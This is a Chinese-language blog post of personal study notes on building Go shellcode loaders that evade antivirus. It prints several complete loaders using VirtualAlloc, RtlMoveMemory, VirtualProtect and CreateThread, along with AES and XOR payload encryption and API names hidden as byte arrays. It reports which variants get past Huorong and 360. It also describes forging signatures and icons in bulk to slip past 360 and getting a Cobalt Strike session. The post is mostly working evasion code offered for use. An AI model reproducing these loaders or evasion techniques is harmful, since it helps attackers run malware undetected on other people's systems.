go免殺學習記錄

11阳光發表於2024-08-25

題記

  最近劍來動漫上線,雖然觀感不如我的預期,感覺節奏過快。但是也是一種進步了,願各位道友都能找到自己的寧姚。

  "我喜歡的姑娘啊,她眉如遠山,浩然天下所有好看的山,好看的水,加起來都不如她。她睫毛輕顫的模樣,落在了我的心裡。那萬年不動的劍氣長城,都好像輕輕晃了晃。" ——烽火戲諸侯 《劍來》

  經過這幾天的學習,go語言的shellcode載入器也算入門了一些,火絨把shellcode遠端載入就能直接過,360需要做一下icon與簽名的偽造,當然做完這些原生的shellcode載入器也能直接繞過火絨。

原始的載入器程式碼

  實測以下程式碼編譯好的exe可以成功執行,但免殺效果較差,不過我們依然可以學到最原始的shellcode載入器的執行原理,後邊免殺也是圍繞基礎的原理進行各種二開操作的。

  載入使用的模組,輸入shellcode,分配記憶體,然後將shellcode複製到分配的記憶體中執行。

package main

import (

"encoding/hex"

"syscall"

"unsafe"

"golang.org/x/sys/windows")

func main() {

code := ""

decode, _ := hex.DecodeString(code)

kernel32, _ := syscall.LoadDLL("kernel32.dll")

VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

// 分配記憶體並寫入 shellcode 內容

allocSize := uintptr(len(decode))

mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

if mem == 0 {

panic("VirtualAlloc failed")

}

buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

copy(buffer, decode)

// 執行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

註釋:

1、包匯入

  encoding/hex:用於十六進位制編碼和解碼。

  syscall:用於與作業系統進行低階別的互動。

  unsafe:提供對記憶體的低階訪問。

  golang.org/x/sys/windows:提供與Windows系統互動的功能。

2、解碼Shellcode

  使用hex.DecodeString將十六進位制字串解碼為位元組切片。該操作可能會返回錯誤,但在這段程式碼中錯誤未被處理。

  go載入shellcode時需要轉換成位元組陣列才能載入,在測試列印我們一般轉換成十六進位制字串列印出來

  在加解密過程中踩坑較多,需要注意函式輸入和輸出的到底是十六進位制字串還是位元組陣列

  例如:

    message := "fc4883e4f0e8c8"就是十六進位制字串

    十六進位制字串string轉換成位元組陣列byteArray

    byteArray, _ := hex.DecodeString(hexString)

    位元組陣列轉換成十六進位制字串

    hexString := hex.EncodeToString(byteArray)

3、載入DLL和查詢函式

  載入Windows的kernel32.dll庫,該庫包含處理記憶體分配的函式。

  查詢VirtualAlloc函式,該函式用於在程序的虛擬地址空間中分配記憶體。

4、分配記憶體

  allocSize為要分配的記憶體大小,單位為位元組。

  呼叫VirtualAlloc分配記憶體,引數說明:

  0表示作業系統選擇記憶體地址。

  allocSize是要分配的大小。

  windows.MEM_COMMIT|windows.MEM_RESERVE表示分配和保留記憶體。

  windows.PAGE_EXECUTE_READWRITE表示分配的記憶體可執行、可讀和可寫。

  如果返回的記憶體地址mem為0,表示分配失敗,程式將觸發panic。

4、寫入shellcode

  使用unsafe.Pointer將分配的記憶體地址轉換為位元組陣列指標,並建立一個切片buffer,其大小為分配的記憶體大小。

  將解碼後的Shellcode複製到分配的記憶體中。

5、執行Shellcode

  呼叫syscall.Syscall來執行Shellcode。第一個引數是Shellcode的記憶體地址,後面三個引數是傳遞給Shellcode的引數(此處都為0)。

引數呼叫載入器

package main

import (
"encoding/hex"
"golang.org/x/sys/windows"
"os"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20
PAGE_READWRITE = 0x04
)

func main() {
param := os.Args[1]
respString := string(param)
shellcode2, _ := hex.DecodeString(respString)
data := shellcode2
/*for i := 0; i < len(data); i++ {
fmt.Printf("%x", data[i])
}*/
//execEnumChildWindows(data)
kernel32 := windows.NewLazySystemDLL("kernel32")
//user32 := windows.NewLazySystemDLL("user32")

RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
//EnumChildWindows := user32.NewProc("EnumChildWindows")

addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

  可以看到以上載入器火絨是監測不出來的,但過不了360。

加密方式一-aes加密

  aes加密:

package main

import (

"bytes"

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

)

// 填充字串(末尾)

func PaddingText1(str []byte, blockSize int) []byte {

//需要填充的資料長度

paddingCount := blockSize - len(str)%blockSize

//填充資料為:paddingCount ,填充的值為:paddingCount

paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount)

newPaddingStr := append(str, paddingStr...)

//fmt.Println(newPaddingStr)

return newPaddingStr

}

// ---------------DES加密--------------------

func EncyptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

src = PaddingText1(src, block.BlockSize())

blockMode := cipher.NewCBCEncrypter(block, key)

blockMode.CryptBlocks(src, src)

return src

}

func main() {

shellcode := []byte{}

str := base64.StdEncoding.EncodeToString(shellcode)

//金鑰長度16

key := []byte("AofqwwWicshoiqQq")

src := EncyptogAES(str, key)

message := base32.HexEncoding.EncodeToString(src)

fmt.Println(message)

}

  aes解密:

package main

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

"encoding/hex"

"syscall"

"unsafe"

"golang.org/x/sys/windows"

)

// 去掉字元(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

func main() {

message := ""

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

str := string(DecrptogAES(aesMsg, key))

sc, _ := base64.StdEncoding.DecodeString(string(str))

code := string(sc)

加密方式二-xor混淆

  xor加密:

// XOR 操作

xordMessage := make([]byte, len(str))

for i := 0; i < len(str); i++ {

xordMessage[i] = str[i] ^ 0xff

}

  xor解密:

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

記憶體載入方式一

code := ""

decode, _ := hex.DecodeString(code)

kernel32, _ := syscall.LoadDLL("kernel32.dll")

VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

// 分配記憶體並寫入 shellcode 內容

allocSize := uintptr(len(decode))

mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

if mem == 0 {

panic("VirtualAlloc failed")

}

buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

copy(buffer, decode)

// 執行 shellcode

syscall.Syscall(mem, 0, 0, 0, 0)

}

記憶體載入方式二

code := string(sc)

shellcode, _ := hex.DecodeString(code)

data := shellcode

/*for i := 0; i < len(data); i++ {

fmt.Printf("%x", data[i])

}*/

//execEnumChildWindows(data)

kernel32 := windows.NewLazySystemDLL("kernel32")

//user32 := windows.NewLazySystemDLL("user32")

RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

VirtualAlloc := kernel32.NewProc("VirtualAlloc")

VirtualProtect := kernel32.NewProc("VirtualProtect")

//EnumChildWindows := user32.NewProc("EnumChildWindows")

addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

panic(1)

}

_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

panic(1)

}

oldProtect := PAGE_READWRITE

_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

panic(1)

}

CreateThread := kernel32.NewProc("CreateThread")

thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

記憶體載入方式三

code := string(sc)
decode, _ := hex.DecodeString(code)
var (
a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))
)

allocSize := uintptr(len(decode))
mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decode)


syscall.Syscall(mem, 0, 0, 0, 0)

記憶體載入方式四-失敗

  ntdll.dll的載入執行沒成功過,不知道原因。

const (

MEM_COMMIT = 0x1000

MEM_RESERVE = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

)

var (

kernel32 = syscall.MustLoadDLL("kernel32.dll") //呼叫kernel32.dll

ntdll = syscall.MustLoadDLL("ntdll.dll") //呼叫ntdll.dll

VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll呼叫ViretualAlloc函式

RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll呼叫RtCopyMemory函式

)

func checkErr(err error) {

if err != nil { // 如果記憶體呼叫出現錯誤,可以報出

if err.Error() != "The operation completed successfully." {

println(err.Error())

os.Exit(1)

}

}

}

執行失敗1,參考https://github.com/YGYoghurt/Go-shellcode--

shellcode, err := hex.DecodeString(deStrBytes)

// 呼叫VirtualAllo申請一塊記憶體

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if addr == 0 {

checkErr(err)

}

// 呼叫RtlCopyMemory載入進記憶體當中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))

_, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))

checkErr(err)

//syscall來執行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)

執行失敗2,參考https://github.com/hhuang00/go-bypass-loader/tree/main:

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

b = syscall.MustLoadDLL(string([]byte{'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

d = b.MustFindProc(string([]byte{'R', 't', 'l', 'C', 'o', 'p', 'y', 'M', 'e', 'm', 'o', 'r', 'y'}))

)

addr, _, err := c.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

_, _, err = d.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))

if err != nil && err.Error() != "The operation completed successfully." {

syscall.Exit(0)

}

syscall.Syscall(addr, 0, 0, 0, 0)

示例載入器一

  以下程式碼感覺記憶體分配執行的方式爛大街了,火絨都過不了,需要改一下。

package main

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

"encoding/hex"

"syscall"

"unsafe"

"golang.org/x/sys/windows"

)

// 去掉字元(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

func main() {

//message的值為先混淆然後aes加密後的值

message := ""

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

code := string(sc)

decode, _ := hex.DecodeString(code)

var (

a = syscall.MustLoadDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))

c = a.MustFindProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c'}))

)

allocSize := uintptr(len(decode))

mem, _, _ := c.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

if mem == 0 {

panic("VirtualAlloc failed")

}

buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]

copy(buffer, decode)

syscall.Syscall(mem, 0, 0, 0, 0)

}

示例載入器二

  以下程式碼可直接過火絨,但是360能夠查出來。

package main

import (

"crypto/aes"

"crypto/cipher"

"encoding/base32"

"encoding/base64"

"fmt"

"encoding/hex"

"syscall"

"unsafe"

"golang.org/x/sys/windows"

)

const (

MEM_COMMIT = 0x1000

MEM_RESERVE = 0x2000

PAGE_EXECUTE_READWRITE = 0x40

PAGE_EXECUTE_READ = 0x20

PAGE_READWRITE = 0x04

)

// 去掉字元(末尾)

func UnPaddingText1(str []byte) []byte {

n := len(str)

count := int(str[n-1])

newPaddingText := str[:n-count]

return newPaddingText

}

// ---------------DES解密--------------------

func DecrptogAES(src, key []byte) []byte {

block, err := aes.NewCipher(key)

if err != nil {

fmt.Println(nil)

return nil

}

blockMode := cipher.NewCBCDecrypter(block, key)

blockMode.CryptBlocks(src, src)

src = UnPaddingText1(src)

return src

}

func main() {

//message的值為先混淆然後aes加密後的值

message := ""

aesMsg, _ := base32.HexEncoding.DecodeString(message)

key := []byte("AofqwwWicshoiqQq")

xordMessage := string(DecrptogAES(aesMsg, key))

originalMessage := make([]byte, len(xordMessage))

for i := 0; i < len(xordMessage); i++ {

originalMessage[i] = xordMessage[i] ^ 0xff

}

sc, _ := base64.StdEncoding.DecodeString(string(originalMessage))

code := string(sc)

shellcode, _ := hex.DecodeString(code)

data := shellcode

/*for i := 0; i < len(data); i++ {

fmt.Printf("%x", data[i])

}*/

//execEnumChildWindows(data)

kernel32 := windows.NewLazySystemDLL("kernel32")

//user32 := windows.NewLazySystemDLL("user32")

RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")

VirtualAlloc := kernel32.NewProc("VirtualAlloc")

VirtualProtect := kernel32.NewProc("VirtualProtect")

//EnumChildWindows := user32.NewProc("EnumChildWindows")

addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {

panic(1)

}

_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {

panic(1)

}

oldProtect := PAGE_READWRITE

_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {

panic(1)

}

CreateThread := kernel32.NewProc("CreateThread")

thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

360和火絨的簡便方法

  借用大佬的一段話:“想告訴大家,有時候落地無很可能不是程式碼問題就是特徵匹配上了,使用工具或者是修改VS編譯配置,相當於改頭換面,換了個hash讓他比對不上,就能過了。”

  我們可以看到,示例載入器1和2是都過不了360的,但我們透過工具批次偽造簽名和icon可以讓360短時間查不出來。

  批次生成:

  360查完還剩下30多個:

  對單獨的進行掃描,360未發現異常:

  成功上線cs:

參考文章

  go實現的shellcode免殺載入器,實測可過火絨,360:https://github.com/hhuang00/go-bypass-loader/tree/main

  go實現免殺(實用思路篇):https://xz.aliyun.com/t/14692?time__1311=GqAhYKBK0K7KY5DsD7%2B3GQmoAIuwmBa1YD#toc-0

  老生常談殺軟特性 免殺數字你也行:https://mp.weixin.qq.com/s/2ROYMmutQbWUeuNc3aDUww

  Golang寫的shellcode免殺載入器思路:https://github.com/YGYoghurt/Go-shellcode--

相關文章